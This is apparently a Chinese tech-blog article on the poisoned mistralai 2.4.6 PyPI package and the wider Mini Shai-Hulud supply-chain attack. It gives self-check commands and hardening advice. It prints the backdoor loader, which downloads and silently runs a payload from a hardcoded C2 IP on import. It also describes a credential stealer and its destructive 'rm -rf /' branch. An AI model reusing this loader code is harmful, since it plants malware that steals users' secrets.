AI大瓜，Hermes Agent确认被投毒！密码泄漏风险高危！

刚刚，Hermes Agent 确认被投毒了！

白天摸鱼的时候，发现有人说 Hermes Agent 依赖的一个 PyPI 包 mistralai 可能被投毒了。

虽然不是 Hermes Agent 本体出问题了，但这事影响一点都不小。

因为 mistralai 不是那种没人用的野生小包，它是 Mistral AI 的官方 Python SDK。

安装 Hermes Agent 时，如果选择了这个依赖库 mistralai，就会中招。

mistralai 这个项目仓库是 Mistral AI 开源的，他们是一家法国人工智能公司，2023 年 4 月在巴黎成立，目前是欧洲估值最高的 AI 初创公司之一（截至 2025 年估值超过 140 亿美元）。

主要做小模型开源，这个 mistralai 模型推理库，已斩获 10K+ 的 Star。

而就是这样一家专业的人工智能公司做的开源项目，竟然也中招了。

一旦 Agent 依赖的底层包被投毒，恶意代码就可能顺着 Agent 的运行环境，去摸你机器里的各种“钥匙”。

帖子下面有不少人马上慌了，有人说自己最近才开始用 Hermes，有人说刚准备部署就看到消息，还有人第一反应是，我是不是已经把 VPS 密钥之类的东西交出去了。

一、攻击，是为了拿钥匙

OK，我从头捋了一下这件事。

这次出问题的，不是 Mistral AI 的模型本身，而是 PyPI 上的 mistralai 2.4.6 这个版本的 Python 依赖包。

官方安全公告里说，这个版本被塞进了一段恶意代码。代码被加在 src/mistralai/client/init.py 里，只要在 Linux 系统上 import 到这个包，它就会被触发。

这段恶意代码会先判断你是不是 Linux 系统。

如果是，它就去一个硬编码的地址下载一个叫 transformers.pyz 的文件，保存到 /tmp/transformers.pyz，然后在后台悄悄运行。

GitHub issue 里贴出的代码显示，它还会用 MISTRAL_INIT 这个环境变量做一次性标记，避免重复执行，并把报错全部吞掉，所以用户很难第一时间发现异常。

`## Summary`mistralai@2.4.6` contains a backdoor in `src/mistralai/client/__init__.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.## Malicious Codeimport subprocess as _subimport os as _osdef _run_background_task():if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):return    _os.environ["MISTRAL_INIT"] = "1"    _url = "https://83.142.209.194/transformers.pyz"    _dest = "/tmp/transformers.pyz"    try:if not _os.path.exists(_dest):            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)if _os.path.exists(_dest):            _sub.Popen(                [_sys.executable, _dest],                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,                start_new_session=True, env=_os.environ.copy()            )    except:        pass_run_background_task()  # Executes on import## Behavior1. **Targets Linux only** (`sys.platform.startswith("linux")`)2. Downloads `https://83.142.209.194/transformers.pyz` via `curl -k` (disables TLS verification)3. Saves payload to `/tmp/transformers.pyz`4. Executes it as a background Python process (`start_new_session=True`, stdout/stderr silenced)5. Triggered automatically on `import mistralai` — no user action needed6. Uses `MISTRAL_INIT` env var as single-execution guard7. Bare `except: pass` swallows all errors silently## IOCs| Type | Value ||------|-------|| **C2 IP** | `83.142.209.194` || **Payload URL** | `https://83.142.209.194/transformers.pyz` || **Payload path** | `/tmp/transformers.pyz` || **Env variable** | `MISTRAL_INIT=1` || **File** | `src/mistralai/client/__init__.py` lines 21-48 || **SHA256 (tarball)** | `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` |## Affected File`src/mistralai/client/__init__.py` — this code does NOT exist in version `2.4.5`.## Recommended Actions1. **Yank `2.4.6` from PyPI immediately**2. Audit PyPI publishing credentials and CI/CD pipeline for compromise3. Any Linux system that ran `pip install mistralai==2.4.6` or `pip install --upgrade mistralai` since 2026-05-12T00:05Z should check for `/tmp/transformers.pyz` and investigate`

接着，这个后台进程会从机器上的常见位置收集凭据。

比如 .env 文件里的 OpenAI Key、Mistral Key，GitHub Token，数据库密码，云厂商 AK/SK，CI/CD 流水线里的发布权限。

微软对 mistralai 这个 PyPI 包的分析也指出，它被攻击后，下载的远程 payload，本身就是一个 credential stealer，也就是凭据窃取器。

有点微妙的是，这个credential stealer还带地理判定逻辑：遇到俄语环境直接退出不偷数据；遇到判定为以色列或伊朗的系统，会以 1/6 概率执行 rm -rf /。

而mistralai 2.4.6 并不是单独被攻击的，它只是被污染的 PyPI 包之一。

明确受影响的 PyPI 包，除了mistralai@2.4.6，还有 guardrails-ai@0.10.1 ，它们受到了同一波供应链攻击，这波攻击被称为 Mini Shai-Hulud。

这个名称来自沙丘，Shai-Hulud 是沙虫的意思。mini 的沙虫，形态小，且自带扩散能力。

Mini Shai-Hulud 污染了一批开发者平时经常会用到的第三方工具包。

5 月 11 日，攻击先在 npm 生态里爆开。

它不是只打了 Mistral 一家，TanStack，前端圈里那个做表格和路由的知名库，也同时中招了 。

据 Snyk 的分析说，UTC 时间 5 月 11 日 19:20 到 19:26 之间，TanStack 命名空间下 42 个包被发布了 84 个恶意版本，而且这些包是通过 TanStack 自己的合法发布流水线发出去的。

接着，攻击开始扩散。

这次攻击在 5 月 11 日 ～ 5月12日，共发布了超过 170 个 npm 包和 2 个 PyPI 包的恶意版本，总共 404 个恶意版本。

受影响的不只是 TanStack，还有 Mistral AI、UiPath、OpenSearch、Guardrails AI 等项目。

更让人不寒而栗的是，根据 TanStack 的事后复盘以及多家安全团队分析，攻击者甚至没有攻破 PyPI 或 npm 的服务器，也没有偷走某个开发者电脑里的本地凭据或 npm token。

它真正打穿的，是发布链路本身。

攻击者先在 fork 上发起一个 pull_request_target PR，污染 GitHub Actions 里的 pnpm 缓存。等维护者后续合并主分支、触发正式 release workflow 时，被污染的缓存又被 CI runner 还原回来。

随后，攻击者的二进制程序直接从 runner 进程内存里读取 OIDC token，再用这套“合法身份”完成发布。

攻击者背后是什么人，现在还没定论。

二、如何自查是否被攻击？

所以，普通用户怎么判断自己有没有事？

在你运行 Hermes Agent 的那台机器上，执行：

python -m pip show mistralai | grep -i '^Version'

如果显示的是：

Version: 2.4.6

那就要高度警惕。

再查一下有没有这个文件：

ls -la /tmp/transformers.pyz

如果这个文件存在，就要小心了。

再看一下后台有没有 python /tmp/transformers.pyz 相关进程：

pgrep -af '/tmp/transformers.pyz'

如果能查到进程，再看一下环境变量里有没有 MISTRAL_INIT=1：

for pid in $(pgrep -f '/tmp/transformers.pyz'); doecho"PID: $pid"  tr '\0''\n' < /proc/$pid/environ 2>/dev/null | grep '^MISTRAL_INIT='done

最后，再看一下机器有没有访问过可疑 IP：

sudo ss -tunap | grep '83.142.209.194'

真的中招怎么办？

不是只卸载就完了。

建议是立刻停止使用受影响版本，清理安装过这些包的系统，轮换这些系统能访问到的所有密钥，检查云审计日志，并监控相关 C2 连接。

如果你机器上装过 mistralai2.4.6，尤其是 Linux 服务器上装过，不要只想着删包。你要默认这台机器上的密钥可能已经泄露。

三、信任被污染

这件事，暴露的是现在开源生态里最危险的一类问题，信任链污染。

过去我们判断一个包安不安全，往往看三件事：包名是不是对的、发布者是不是官方、下载地址是不是 PyPI 或 npm 这种正规仓库。

但 Mini Shai-Hulud 这次最阴的地方是，它正是利用了用户对正规路径的信任。

TanStack 那边更可怕的地方在于，恶意版本是通过合法发布流水线发出去的，攻击者等于直接把可信 CI/CD 变成了投毒通道。

而 mistralai 2.4.6 这边，GitHub 安全公告显示，它没有对应的 tag、commit，也没有正常的 release workflow run，说明它并不是从这个仓库的正常发布流程里出来的。

但它依然挂在 PyPI 上的官方 mistralai 包名下面。对普通用户来说，只要包名对、来源看起来对，就很容易默认信任。

这两种路径不完全一样，但共同点是一样的，攻击者打的都不是单个用户，而是用户对“官方包名”和“自动安装流程”的信任。

Agent 一键安装脚本，原本是为了提高效率的自动化流程，在供应链攻击里，反而会变成恶意代码的高速公路。

你不需要变成专家，但你至少要知道，一个 Agent 安不安全，不只取决于它本身。

第一，你装的每一个 SDK，每一个工具包，每一个一键部署脚本，都应该能追溯来源、锁定版本、检查哈希，而不是永远默认装最新版。

第二，开发者不能只保护代码仓库，还要保护构建机器、CI/CD 权限、OIDC 配置、发布 token。因为攻击者一旦拿到发布链路，就不需要偷偷塞后门了，它可以直接用你的官方渠道发恶意版本。

第三，Agent 不应该默认拿到所有环境变量、所有密钥、所有文件系统权限。尤其是 .env、云厂商 AK/SK、GitHub Token、模型 API Key 这些东西，应该最小化暴露，能分环境就分环境，能只读就只读，能短期有效就别长期有效。

我觉得，未来真正成熟的 Agent 产品，不会只是“会调用更多工具”。它必须能回答另一个问题：

我交给你的钥匙，会不会最后落到别人手里？

文章来自于微信公众号 “JackCui”，作者 “JackCui”